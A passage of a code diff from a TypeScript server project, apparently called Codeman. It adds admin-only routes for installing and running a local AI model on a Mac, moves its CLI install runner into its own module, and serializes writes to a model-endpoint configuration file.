- * exists to prevent: the string executed here is NEVER user input, only ever what is
- * already hardcoded and reviewed in `stock.ts` (`resolveInstallCommandForPlatform`), and a
- * CUSTOM entry can never reach this function at all — see the route's own guard below.
- */
-async function runInstallCommand(command: string): Promise<InstallResult> {
-  const env = await installEnvFor(command);
-  return new Promise((resolve) => {
-    let child: ReturnType<typeof spawn>;
-    try {
-      child = spawn(command, {
-        shell: true,
-        stdio: ['ignore', 'pipe', 'pipe'],
-        // Own process group; the timeout below kills the whole tree by hand, mirroring
-        // the DeepSeek profile-install endpoint's own reasoning: an install command fans
-        // out into package-manager children, and spawn's own `timeout` option signals
-        // only the direct child, leaving survivors holding the pipes open forever.
-        detached: true,
-        env,
-      });
-    } catch (err) {
-      resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false });
-      return;
-    }
-
-    let output = '';
-    let timedOut = false;
-    let settled = false;
-    let killTimer: NodeJS.Timeout | undefined;
-    let reapTimer: NodeJS.Timeout | undefined;
-
-    const capture = (chunk: Buffer) => {
-      if (output.length < 16_384) output += chunk.toString('utf-8');
-    };
-    child.stdout?.on('data', capture);
-    child.stderr?.on('data', capture);
-
-    const killTree = (signal: NodeJS.Signals) => {
-      try {
-        if (child.pid) process.kill(-child.pid, signal);
-      } catch {
-        /* already gone */
-      }
-    };
-
-    const finish = (code: number | null) => {
-      if (settled) return;
-      settled = true;
-      clearTimeout(timer);
-      if (killTimer) clearTimeout(killTimer);
-      if (reapTimer) clearTimeout(reapTimer);
-      resolve({ code, output, timedOut });
-    };
-
-    const timer = setTimeout(() => {
-      timedOut = true;
-      killTree('SIGTERM');
-      killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
-      reapTimer = setTimeout(() => finish(null), 8_000);
-    }, CLI_INSTALL_TIMEOUT_MS);
-
-    child.on('error', (err) => {
-      output = `${output}\n${err.message}`;
-      finish(null);
-    });
-    child.on('close', (code) => finish(code));
-  });
-}
-
 export function registerCliRegistryRoutes(app: FastifyInstance): void {
   // ---- Phase 2: read ----------------------------------------------------
   // GET /api/clis — every registry entry, disabled ones included (this is an
@@ -461,6 +265,8 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void {
 
   // ---- Phase 4: auto-install (stock only) --------------------------------
   // One install per id at a time (409 otherwise), and the script never sees CODEMAN_* env.
+  // Bounded execution (`CLI_INSTALL_TIMEOUT_MS`), output capped, process GROUP killed on
+  // timeout: all of that is `runInstallCommand()` in src/cli-install-runner.ts.
   // POST /api/clis/:id/install — runs the entry's already-vetted install
   // command. Separate endpoint from Phase 3's toggle: installing is a bigger
   // action than a boolean flip and gets its own audit entry. Never auto-
@@ -488,15 +294,16 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void {
         return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `"${id}" has no install command for this platform`);
       }
 
-      if (installsInFlight.has(id)) {
+      // ONE slot per id, shared with the local model install job (src/cli-install-runner.ts).
+      const release = tryBeginCliInstall(id);
+      if (!release) {
         return createErrorResponse(ApiErrorCode.CONFLICT, `"${id}" is already being installed`);
       }
-      installsInFlight.add(id);
-      let result: InstallResult;
+      let result: CliInstallResult;
       try {
         result = await runInstallCommand(command);
       } finally {
-        installsInFlight.delete(id);
+        release();
       }
       // Even a failed or timed-out install may have left a binary behind, so forget the
       // cached lookups either way: the next Run click or badge read probes afresh

src/web/routes/custom-model-routes.ts

@@ -12,17 +12,34 @@
  * connect time, redirects included — a save-time hostname check alone would
  * let `models.example` resolve to 169.254.169.254 later. The endpoint is
  * admin-configured, so this is defence in depth rather than the only gate.
+ *
+ * Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()`
+ * (src/custom-model-hosts-writer.ts): the four writing routes and the re-discovery sweep run
+ * one at a time, each check ("the id is free", "the record still exists") inside the same
+ * serialized step as its write, and a file that does not parse is refused with 409 rather than
+ * overwritten. They used to read, change and write on their own, through one shared temp file
+ * name: a route and the sweep could tear the file, and the next writer then saved a list that
+ * held only its own record.
+ *
+ * The local model install (src/local-model/) keeps ONE record here under a reserved id
+ * (`LOCAL_MODEL_ENDPOINT_ID`). A new endpoint may not take that id. While the record is the
+ * managed one (`isManagedLocalEndpoint()`: the local model state file records it as ours) it
+ * is not edited, deleted or re-discovered from here: its `models` must stay the one model the
+ * install checked, and its `baseUrl` the port of the runtime Codeman supervises. It is changed
+ * and removed through the local model routes.
  */
 
 import type { FastifyInstance, FastifyRequest } from 'fastify';
-import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js';
+import { ApiErrorCode, createErrorResponse, LOCAL_MODEL_INSTALL_LABELS, type ApiResponse } from '../../types.js';
 import { isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js';
 import { isMultiUserMode } from '../../config/multiuser.js';
 import { getDataDir } from '../../config/instance.js';
 import { isBlockedWebviewUrl } from '../webview-egress-policy.js';
 import { egressBlockedReason, webviewFetch } from '../webview-egress.js';
 import { CustomModelHostSchema, MAX_DISCOVERED_CONTEXT_TOKENS } from '../schemas.js';
-import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../../custom-model-hosts.js';
+import { readCustomModelHosts, type CustomModelHost } from '../../custom-model-hosts.js';
+import { customModelHostsWriteErrorResponse, mutateCustomModelHosts } from '../../custom-model-hosts-writer.js';
+import { isLocalModelEndpointId, isManagedLocalEndpoint } from '../../local-model/connect.js';
 import type { CliEntry } from '../../config/cli-registry/types.js';
 
 const CODEMAN_CONFIG_DIR = getDataDir();
@@ -795,20 +812,30 @@ export async function refreshAllCustomModelHosts(): Promise<void> {
   const hosts = await readCustomModelHosts(dataDir);
   for (const host of hosts) {
     if (isBlockedWebviewUrl(host.baseUrl)) continue;
+    // The local model's own record keeps the one model its install checked: whatever else the
+    // runtime lists (a model somebody pulled through its port) must not become launchable.
+    if (await isManagedLocalEndpoint(host.id)) continue;
     let result: DiscoveryResult;
     try {
       result = await discoverModels(host);
     } catch {
       continue; // unreachable this cycle — try again next tick, not fatal to the sweep
     }
-    // Re-read + splice by id rather than reusing the array captured above: an
-    // admin editing or deleting an endpoint via the API mid-sweep must win,
-    // not be silently overwritten by a refresh that started before their change.
-    const current = await readCustomModelHosts(dataDir);
-    const index = current.findIndex((item) => item.id === host.id);
-    if (index === -1) continue; // deleted mid-sweep
-    current[index] = applyDiscoveredModels(current[index], result);
-    await writeCustomModelHosts(dataDir, current);
+    // Spliced by id inside the serialized writer, onto the list as it is THEN, rather than
+    // the array captured above: an admin editing or deleting an endpoint via the API mid-sweep
+    // must win, not be silently overwritten by a refresh that started before their change.
+    try {
+      await mutateCustomModelHosts<void>((current) => {
+        const index = current.findIndex((item) => item.id === host.id);
+        if (index === -1) return { result: undefined }; // deleted mid-sweep
+        current[index] = applyDiscoveredModels(current[index], result);
+        return { hosts: current, result: undefined };
+      }, dataDir);
+    } catch {
+      // A file that must not be overwritten (it does not parse) refuses every write of this
+      // sweep the same way. The writer logged why; nothing more can be saved this cycle.
+      return;
+    }
   }
 }
 
@@ -897,6 +924,18 @@ export async function detectCustomModelSwapDisplacements(
   return displacements;
 }
 
+/** A write the serialized writer refused (the file does not parse) is 409 with the fix; any other failure stays in the envelope. */
+function refusedHostsWrite(err: unknown, reply: { code: (n: number) => unknown }): ApiResponse<never> {
+  const response = customModelHostsWriteErrorResponse(err);
+  if (!response.success && response.errorCode === ApiErrorCode.CONFLICT) reply.code(409);
+  return response;
+}
+
+/** The answer to an edit or a delete of the record the local model install manages. */
+function managedEndpointRefusal(): ApiResponse<never> {
+  return createErrorResponse(ApiErrorCode.INVALID_INPUT, LOCAL_MODEL_INSTALL_LABELS.endpointManaged);
+}
+
 export function registerCustomModelRoutes(app: FastifyInstance): void {
   app.get('/api/model-endpoints', async (req): Promise<RedactedHost[]> => {
     if (isMultiUserMode() && !isAdmin(req)) return [];
@@ -913,12 +952,19 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
     }
     const badDefault = invalidDefaultModel(host);
     if (badDefault) return badDefault;
-    const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
-    if (hosts.some((item) => item.id === host.id)) {
-      return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Model endpoint already exists');
+    if (isLocalModelEndpointId(host.id)) {
+      return createErrorResponse(ApiErrorCode.INVALID_INPUT, LOCAL_MODEL_INSTALL_LABELS.endpointIdReserved);
+    }
+    try {
+      return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => {
+        if (hosts.some((item) => item.id === host.id)) {
+          return { result: createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Model endpoint already exists') };
+        }
+        return { hosts: [...hosts, host], result: { success: true, data: { host: redactApiKey(host) } } };
+      }, CODEMAN_CONFIG_DIR);
+    } catch (err) {
+      return refusedHostsWrite(err, reply);
     }
-    await writeCustomModelHosts(CODEMAN_CONFIG_DIR, [...hosts, host]);
-    return { success: true, data: { host: redactApiKey(host) } };
   });
 
   app.put('/api/model-endpoints/:id', async (req, reply): Promise<ApiResponse<{ host: RedactedHost }>> => {
@@ -931,26 +977,37 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
     }
     const badDefault = invalidDefaultModel(incoming);
     if (badDefault) return badDefault;
-    const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
-    const index = hosts.findIndex((item) => item.id === id);
-    if (index === -1) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
-    const host = applyDiscoveredFields(applyStoredApiKey(incoming, hosts[index]), hosts[index]);
-    const next = [...hosts];
-    next[index] = host;
-    await writeCustomModelHosts(CODEMAN_CONFIG_DIR, next);
-    return { success: true, data: { host: redactApiKey(host) } };
+    if (await isManagedLocalEndpoint(id)) return managedEndpointRefusal();
+    try {
+      return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => {
+        const index = hosts.findIndex((item) => item.id === id);
+        if (index === -1) return { result: createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found') };
+        const host = applyDiscoveredFields(applyStoredApiKey(incoming, hosts[index]), hosts[index]);
+        const next = [...hosts];
+        next[index] = host;
+        return { hosts: next, result: { success: true, data: { host: redactApiKey(host) } } };
+      }, CODEMAN_CONFIG_DIR);
+    } catch (err) {
+      return refusedHostsWrite(err, reply);
+    }
   });
 
   app.delete('/api/model-endpoints/:id', async (req, reply): Promise<ApiResponse<{ id: string }>> => {
     const denied = adminOnly(req, reply);
     if (denied) return denied;
     const { id } = req.params as { id: string };
-    const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
-    await writeCustomModelHosts(
-      CODEMAN_CONFIG_DIR,
-      hosts.filter((item) => item.id !== id)
-    );
-    return { success: true, data: { id } };
+    if (await isManagedLocalEndpoint(id)) return managedEndpointRefusal();
+    try {
+      return await mutateCustomModelHosts<ApiResponse<{ id: string }>>((hosts) => {
+        const next = hosts.filter((item) => item.id !== id);
+        // Nothing to take out: the file is left as it is, and the answer is the same.
+        return next.length === hosts.length
+          ? { result: { success: true, data: { id } } }
+          : { hosts: next, result: { success: true, data: { id } } };
+      }, CODEMAN_CONFIG_DIR);
+    } catch (err) {
+      return refusedHostsWrite(err, reply);
+    }
   });
 
   app.post(
@@ -966,12 +1023,12 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
       if (isBlockedWebviewUrl(host.baseUrl)) {
         return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Endpoint base URL is not allowed');
       }
+      // The local model's own record is not probed: it lists the one model its install checked,
+      // and that list is the answer.
+      if (await isManagedLocalEndpoint(id)) return { success: true, data: { models: host.models ?? [] } };
+      let result: DiscoveryResult;
       try {
-        const result = await discoverModels(host);
-        const next = [...hosts];
-        next[index] = applyDiscoveredModels(host, result);
-        await writeCustomModelHosts(CODEMAN_CONFIG_DIR, next);
-        return { success: true, data: { models: result.models } };
+        result = await discoverModels(host);
       } catch (err) {
         const blocked = egressBlockedReason(err);
         return createErrorResponse(
@@ -979,6 +1036,18 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
           blocked ? `Endpoint refused: ${blocked}` : `Could not reach endpoint: ${describeFetchError(err)}`
         );
       }
+      try {
+        // Onto the record as it is NOW: the probe above took a moment, and an edit made
+        // meanwhile must not be replaced by the copy read before it.
+        return await mutateCustomModelHosts<ApiResponse<{ models: string[] }>>((current) => {
+          const at = current.findIndex((item) => item.id === id);
+          if (at === -1) return { result: createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found') };
+          current[at] = applyDiscoveredModels(current[at], result);
+          return { hosts: current, result: { success: true, data: { models: result.models } } };
+        }, CODEMAN_CONFIG_DIR);
+      } catch (err) {
+        return refusedHostsWrite(err, reply);
+      }
     }
   );
 

src/web/routes/index.ts

@@ -49,5 +49,6 @@ export {
   type CustomModelSwapDisplacement,
 } from './custom-model-routes.js';
 export { registerCliRegistryRoutes, readCliManagementEnabled, type CliListItem } from './cli-registry-routes.js';
+export { registerLocalModelRoutes } from './local-model-routes.js';
 
 export { registerAgentSessionRoutes } from './agent-session-routes.js';

src/web/routes/local-model-routes.ts

@@ -0,0 +1,306 @@
+/**
+ * @fileoverview The local model routes: what this Mac is and which local model fits it
+ * (`GET /api/local-model`), and the verbs that install one, start and stop it and remove it.
+ *
+ * | Route                            | Body                        | Answer                                         |
+ * |----------------------------------|-----------------------------|------------------------------------------------|
+ * | `GET /api/local-model`           | none                        | `{ hardware, recommendation, catalogUpdated, install }` |
+ * | `POST /api/local-model/install`  | `LocalModelInstallRequest`  | the install view; 400, 409                     |
+ * | `POST /api/local-model/cancel`   | none                        | the install view; 409                          |
+ * | `POST /api/local-model/resume`   | `LocalModelResumeRequest`   | the install view; 409                          |
+ * | `POST /api/local-model/runtime`  | `LocalModelRuntimeRequest`  | the install view; 409                          |
+ * | `DELETE /api/local-model`        | `LocalModelRemoveRequest`   | the install view; 409                          |
+ *
+ * The GET is built from the hardware probe, the catalogue, the harness facts and the pure
+ * `recommend()`, plus the `install` object of the install service
+ * (`LocalModelService.view()`). Nothing is reformatted here: every size text and every
+ * sentence in the payload was chosen by the modules that produced it. There is no SSE event:
+ * the window polls the GET once a second while it is open.
+ *
+ * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and
+ * their payloads are outside the stable `/api/v1` contract. docs/api-reference.md says so in
+ * its section; keep the two in step, and drop both labels together.
+ *
+ * Rules:
+ *  - Every route is admin only in multi-user mode (403), the same bar as `GET /api/doctor`:
+ *    the GET names hardware of the host, and the verbs download and run a program, install a
+ *    coding agent and write the server-wide settings. The gate runs before anything is probed,
+ *    parsed or started.
+ *  - The GET changes nothing a person asked to keep: it downloads nothing, installs nothing
+ *    and writes no setting. Its one write is the service's own bookkeeping (a job a server
+ *    restart interrupted is marked paused the first time anything looks at it).
+ *  - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed
+ *    in the hardware's `source` (`os-fallback`), and a server that is not on macOS as
+ *    `not-probed`; both go out as a 200 whose recommendation is verdict `none` or computed
+ *    from what is known. Should the probe itself reject (it promises not to), the route logs
+ *    it and answers with what `node:os` knows (`hardwareFromOs()`), under the same two
+ *    `source` values.
+ *  - A 500 is left for a fault that is not a probe: the catalogue, the harness facts or
+ *    `recommend()` throwing. That is a bug, and it must not be dressed up as "no model fits".
+ *  - A verb answers the view AFTER the verb. A refusal the service names is a 400 (the request
+ *    is not a row the server offers) or a 409 whose `data` is the `LocalModelConflict`
+ *    (`reason`, the sentence, and for `size-changed` the server's own total, for
+ *    `sessions-open` the session names). A 400 the service names carries its sentence as
+ *    `data.message` too, so the window prints it in its own language. A write of the settings
+ *    or of the endpoint store that was refused (a file that does not parse) is a 409 without
+ *    `data`, with the fix.
+ *  - The verbs do the work in the install service; this file only gates, parses and maps.
+ *    `DELETE`, `runtime` and `resume` look at the live sessions: they hand their names to the
+ *    service, which refuses a removal, a stop and a change of port while one of them still
+ *    uses the model.
+ *  - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and
+ *    does not need a Mac: it passes its own hardware, harness facts and service.
+ */
+
+import { arch, totalmem } from 'node:os';
+import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify';
+import {
+  ApiErrorCode,
+  createErrorResponse,
+  getErrorMessage,
+  type ApiResponse,
+  type HardwareFacts,
+  type HarnessFact,
+  type LocalModelCatalog,
+  type LocalModelConflict,
+  type LocalModelInstallView,
+  type LocalModelRefusal,
+  type LocalModelStatus,
+  type Recommendation,
+  type RecommendOptions,
+} from '../../types.js';
+import { getAuthUser, isAdmin, parseBody } from '../route-helpers.js';
+import { isMultiUserMode } from '../../config/multiuser.js';
+import { getLocalModelCatalog } from '../../config/local-model-catalog.js';
+import {
+  CustomModelHostsWriteRefusedError,
+  customModelHostsWriteErrorResponse,
+} from '../../custom-model-hosts-writer.js';
+import { sessionNamesUsingEndpoint } from '../../local-model/connect.js';
+import { formatGb, memClassGb } from '../../local-model/format.js';
+import { readHardware } from '../../local-model/hardware.js';
+import { buildHarnessFacts } from '../../local-model/harness-facts.js';
+import {
+  formatInstallMessage,
+  getLocalModelService,
+  type LocalModelActor,
+  type LocalModelService,
+  type LocalModelVerbResult,
+} from '../../local-model/install-job.js';
+import { recommend } from '../../local-model/recommend.js';
+import {
+  LocalModelInstallSchema,
+  LocalModelRemoveSchema,
+  LocalModelResumeSchema,
+  LocalModelRuntimeSchema,
+} from '../schemas.js';
+import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js';
+
+/** A live session as the DELETE needs it: its name, and the endpoint its model comes from. */
+export interface LocalModelSessionLike {
+  name: string;
+  customModel?: { endpointId: string };
+}
+
+/** What the routes read of the server: its live sessions. */
+export interface LocalModelRouteContext {
+  sessions: ReadonlyMap<string, LocalModelSessionLike>;
+}
+
+/** What the routes call. Each member defaults to the real module; a test overrides what it needs. */
+export interface LocalModelRouteDeps {
+  readHardware: () => Promise<HardwareFacts>;
+  getCatalog: () => LocalModelCatalog;
+  buildHarnessFacts: (catalog: LocalModelCatalog) => Promise<HarnessFact[]>;
+  recommend: (
+    hw: HardwareFacts,
+    catalog: LocalModelCatalog,
+    harnessFacts: readonly HarnessFact[],
+    options?: RecommendOptions
+  ) => Recommendation;
+  /** The install service. Looked up on every request, so the server's one service is built on first use. */
+  service: () => LocalModelService;
+}
+
+export const defaultLocalModelRouteDeps: LocalModelRouteDeps = {
+  readHardware: () => readHardware(),
+  getCatalog: getLocalModelCatalog,
+  buildHarnessFacts: (catalog) => buildHarnessFacts(catalog),
+  recommend,
+  service: getLocalModelService,
+};
+
+/**
+ * The hardware answer when the probe rejected: memory and architecture from `node:os`, and the
+ * `source` the probe itself uses for "nothing was read from sysctl" (`os-fallback` on macOS,
+ * `not-probed` anywhere else). Sizes go through the one formatter, like every other size.
+ */
+export function hardwareFromOs(): HardwareFacts {
+  const memBytes = totalmem();
+  return {
+    platform: process.platform,
+    arch: arch(),
+    memBytes,
+    memGb: formatGb(memBytes),
+    memClassGb: memClassGb(memBytes),
+    source: process.platform === 'darwin' ? 'os-fallback' : 'not-probed',
+  };
+}
+
+/** The 409 of a verb the service refused: the error envelope plus the conflict as `data`. */
+export interface LocalModelConflictResponse {
+  success: false;
+  /** The conflict's sentence in English, its slots filled. */
+  error: string;
+  errorCode: ApiErrorCode;
+  data: LocalModelConflict;
+}
+
+/** The 400 (or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */
+export interface LocalModelRefusalResponse {
+  success: false;
+  /** The sentence in English, its slots filled. */
+  error: string;
+  errorCode: ApiErrorCode;
+  data: LocalModelRefusal;
+}
+
+/** What a verb answers: the view after it, an error envelope, or a refusal that carries its sentence. */
+export type LocalModelVerbResponse =
+  | ApiResponse<LocalModelInstallView>
+  | LocalModelConflictResponse
+  | LocalModelRefusalResponse;
+
+/** 403 for a non-admin in multi-user mode, before anything else runs. `null`: go on. */
+function adminOnly(req: FastifyRequest, reply: FastifyReply): ApiResponse<never> | null {
+  if (!isMultiUserMode() || isAdmin(req)) return null;
+  reply.code(403);
+  return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode');
+}
+
+function actorOf(req: FastifyRequest): LocalModelActor {
+  return { username: getAuthUser(req).username, ip: req.ip };
+}
+
+/** A verb's result as its HTTP answer. */
+function respond(result: LocalModelVerbResult, reply: FastifyReply): LocalModelVerbResponse {
+  if (result.ok) return { success: true, data: result.view };
+  reply.code(result.status);
+  if (result.status !== 409) {
+    return {
+      success: false,
+      error: formatInstallMessage(result.message),
+      errorCode: result.status === 400 ? ApiErrorCode.INVALID_INPUT : ApiErrorCode.OPERATION_FAILED,
+      data: { message: result.message },
+    };
+  }
+  return {
+    success: false,
+    error: formatInstallMessage(result.conflict.message),
+    errorCode: ApiErrorCode.CONFLICT,
+    data: result.conflict,
+  };
+}
+
+/** Runs one verb. What the service did not name as a refusal: a refused config write is a 409 with the fix, anything else a 500. */
+async function runVerb(
+  reply: FastifyReply,
+  verb: () => Promise<LocalModelVerbResult>
+): Promise<LocalModelVerbResponse> {
+  try {
+    return respond(await verb(), reply);
+  } catch (err) {
+    if (err instanceof CustomModelHostsWriteRefusedError) {
+      reply.code(409);
+      return customModelHostsWriteErrorResponse(err);
+    }
+    if (err instanceof SettingsWriteRefusedError) {
+      reply.code(409);
+      return settingsWriteErrorResponse(err);
+    }
+    reply.code(500);
+    return createErrorResponse(ApiErrorCode.INTERNAL_ERROR, `The local model request failed: ${getErrorMessage(err)}`);
+  }
+}
+
+export function registerLocalModelRoutes(
+  app: FastifyInstance,
+  ctx: LocalModelRouteContext,
+  deps: Partial<LocalModelRouteDeps> = {}
+): void {
+  const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps };
+
+  app.get(
+    '/api/local-model',
+    async (req: FastifyRequest, reply: FastifyReply): Promise<ApiResponse<LocalModelStatus>> => {
+      const denied = adminOnly(req, reply);
+      if (denied) return denied;
+
+      let hardware: HardwareFacts;
+      try {
+        hardware = await resolved.readHardware();
+      } catch (err) {
+        console.warn(`[local-model] The hardware probe failed, answering from node:os: ${getErrorMessage(err)}`);
+        hardware = hardwareFromOs();
+      }
+
+      try {
+        const catalog = resolved.getCatalog();
+        const harnessFacts = await resolved.buildHarnessFacts(catalog);
+        const service = resolved.service();
+        // The measured budget once the runtime reported it, and the runtime download that an
+        // install would still add: what turns the estimate into the figures of the consent.
+        const options = await service.recommendOptions();
+        const recommendation = resolved.recommend(hardware, catalog, harnessFacts, options);
+        const install = await service.view();
+        return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated, install } };
+      } catch (err) {
+        reply.code(500);
+        return createErrorResponse(
+          ApiErrorCode.INTERNAL_ERROR,
+          `The local model recommendation failed: ${getErrorMessage(err)}`
+        );
+      }
+    }
+  );
+
+  app.post('/api/local-model/install', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelInstallSchema, req.body);
+    return runVerb(reply, () => resolved.service().install(body, actorOf(req)));
+  });
+
+  app.post('/api/local-model/cancel', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    return runVerb(reply, () => resolved.service().cancel());
+  });
+
+  app.post('/api/local-model/resume', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelResumeSchema, req.body ?? {});
+    const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
+    return runVerb(reply, () => resolved.service().resume(body, actorOf(req), sessionNames));
+  });
+
+  app.post('/api/local-model/runtime', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelRuntimeSchema, req.body);
+    // Asked at the moment of the request, like the DELETE: a stop or a change of port leaves
+    // a live session calling an address nothing of ours holds.
+    const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
+    return runVerb(reply, () => resolved.service().runtime(body, sessionNames));
+  });
+
+  app.delete('/api/local-model', async (req, reply): Promise<LocalModelVerbResponse> => {
+    const denied = adminOnly(req, reply);
+    if (denied) return denied;
+    const body = parseBody(LocalModelRemoveSchema, req.body ?? {});
+    // Asked at the moment of the request: a session that started a second ago counts.
+    const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
+    return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req)));
+  });
+}

src/web/routes/reboot-restore-routes.ts

@@ -35,6 +35,7 @@ import {
   isWorkingDirAllowedForUsername,
   sessionCapacityMessage,
 } from '../route-helpers.js';
+import { getLocalModelService } from '../../local-model/install-job.js';
 import { rebootRestoreRegistry } from '../reboot-restore-registry.js';
 import { rejectAlreadyLive, type RebootRestoreEntry, type RebootRestoreRejection } from '../../reboot-restore.js';
 import { clampEnvOverridesForOwner } from '../../session-env-clamp.js';
@@ -163,6 +164,21 @@ export function registerRebootRestoreRoutes(app: FastifyInstance, ctx: RebootRes
           failures.push({ sessionId: entry.sessionId, reason: 'workspace-forbidden' });
           continue;
         }
+        // A session that ran on the model Codeman runs on this Mac is rebuilt only while that
+        // model can be started on: its own runtime is up and its digest is the one stored at
+        // install time. Asked before anything is built, like the two session routes; the
+        // session's own launch guard would refuse the start too, but only after the session
+        // exists. Every other endpoint, and a session without one, is answered `undefined`.
+        const savedModel = (entry.state as { __customModel?: { endpointId?: string; modelId?: string } }).__customModel;
+        if (savedModel && typeof savedModel.endpointId === 'string' && typeof savedModel.modelId === 'string') {
+          const refusal = await getLocalModelService().launchRefusalMessage(savedModel.endpointId, savedModel.modelId);
+          if (refusal) {
+            console.warn(`[reboot-restore] ${entry.sessionId} is not rebuilt: ${refusal}`);
+            // Left on offer: the model can be started (or installed again) and the click repeated.
+            failures.push({ sessionId: entry.sessionId, reason: 'local-model-not-ready' });
+            continue;
+          }
+        }
         try {
           const saved = entry.state;
           const claudeModeConfig = await ctx.getClaudeModeConfig();

src/web/routes/session-routes.ts

@@ -82,6 +82,7 @@ import {
   CustomModelSelectionSchema,
 } from '../schemas.js';
 import { readCustomModelHosts, resolveCustomModelContextLength } from '../../custom-model-hosts.js';
+import { getLocalModelService } from '../../local-model/install-job.js';
 import { applyCustomModelInjection, removeConfigDir } from '../../custom-model-injection-apply.js';
 import { buildCustomModelInjection } from '../../custom-model-injection.js';
 import {
@@ -1783,6 +1784,11 @@ export function registerSessionRoutes(
     if (!endpoint) {
       return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
     }
+    // The model Codeman runs on this Mac: only while its own runtime is up, and only the model
+    // that was installed, with the digest stored then (undefined for every other endpoint).
+    // Before anything is written or restarted.
+    const localModelRefusal = await getLocalModelService().launchRefusalMessage(endpoint.id, body.modelId);
+    if (localModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, localModelRefusal);
     // Discovery's per-model figure wins; the endpoint's user-set default covers models
     // whose size discovery could not determine (a gateway that states none, say). With
     // neither, the existing "no override, CLI assumes its own default" behaviour stands.
@@ -4772,6 +4778,11 @@ export function registerSessionRoutes(
       const cmHosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
       const cmEndpoint = cmHosts.find((h) => h.id === customModel.endpointId);
       if (!cmEndpoint) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
+      // See the dedicated route: the model Codeman runs on this Mac is launched only while its
+      // own runtime is up and its digest is the one stored at install time. Before any
+      // confirmation is asked for and before a session exists.
+      const cmLocalModelRefusal = await getLocalModelService().launchRefusalMessage(cmEndpoint.id, customModel.modelId);
+      if (cmLocalModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cmLocalModelRefusal);
       // Per-model discovery figure first, user-set endpoint default second, nothing third
       // (see the dedicated route's own comment above).
       const cmContextLength = resolveCustomModelContextLength(cmEndpoint, customModel.modelId);

src/web/schemas.ts

@@ -2466,6 +2466,43 @@ export const CustomModelHostSchema = z.object({
   defaultContextLength: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS).optional(),
 });
 
+// ---------- Local model install (src/web/routes/local-model-routes.ts) ----------
+
+/**
+ * A model id as the local model catalogue writes it: `name:tag`, lowercase, no slash. The
+ * same pattern as `LOCAL_MODEL_ID_PATTERN` in config/local-model-catalog.ts, repeated here as
+ * a request-shape check: without a slash an id can never name another registry host. The
+ * real gate is the route's own lookup of the id in what the server offers.
+ */
+const localModelId = z
+  .string()
+  .max(200)
+  .regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id');
+
+/** POST /api/local-model/install: the row the person chose and the size they confirmed. */
+export const LocalModelInstallSchema = z
+  .object({
+    modelId: localModelId,
+    cli: z
+      .string()
+      .max(64)
+      .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'),
+    context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS),
+    acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER),
+  })
+  .strict();
+
+/** POST /api/local-model/resume. The body may be empty. */
+export const LocalModelResumeSchema = z.object({ newPort: z.boolean().optional() }).strict();
+
+/** POST /api/local-model/runtime. */
+export const LocalModelRuntimeSchema = z
+  .object({ action: z.enum(['start', 'stop']), newPort: z.boolean().optional() })
+  .strict();
+
+/** DELETE /api/local-model. The body may be empty. */
+export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict();
+
 /**
  * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` —
  * duplicated rather than imported, since the REAL safety boundary for anything built from

src/web/sensitive-path.ts

